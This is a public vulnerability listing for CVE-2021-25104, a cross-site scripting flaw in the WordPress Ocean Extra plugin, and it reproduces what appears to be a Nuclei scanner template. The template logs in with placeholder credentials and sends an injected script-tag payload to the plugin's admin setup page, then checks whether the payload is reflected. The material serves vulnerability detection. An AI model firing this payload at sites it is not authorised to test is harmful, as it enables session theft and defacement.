CVE-2021-25104: WordPress Ocean Extra <1.9.5 - Cross-Site Scripting

2025-08-01 WordPress Ocean Extra PoC Public

Description

WordPress Ocean Extra plugin before 1.9.5 contains a cross-site scripting vulnerability. The plugin does not escape generated links which are then used when the OceanWP theme is active.

PoC

id: CVE-2021-25104

info:
  name: WordPress Ocean Extra <1.9.5 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress Ocean Extra plugin before 1.9.5 contains a cross-site scripting vulnerability. The plugin does not escape generated links which are then used when the OceanWP theme is active.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 1.9.5.
  reference:
    - https://wpscan.com/vulnerability/2ee6f1d8-3803-42f6-9193-3dd8f416b558
    - https://wordpress.org/plugins/ocean-extra/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25104
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25104
    cwe-id: CWE-79
    epss-score: 0.01444
    epss-percentile: 0.71935
    cpe: cpe:2.3:a:oceanwp:ocean_extra:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: oceanwp
    product: ocean_extra
    framework: wordpress
  tags: cve,cve2021,wordpress,xss,wp-plugin,authenticated,wpscan,wp,ocean-extra,oceanwp,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/?step=demo&page=owp_setup&a"><script>alert(/XSS/)</script>   HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'OceanWP'
          - '><script>alert(/XSS/)</script>'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450220728e0362d271aafb745539fa0efd6cd70f599ebfbdb38e078f85e787105ffef9022100f1e5ecd0c8c56ceb0a0bc9b24f8007fa29e8536055f9e2f73451f73ebbbd34f4:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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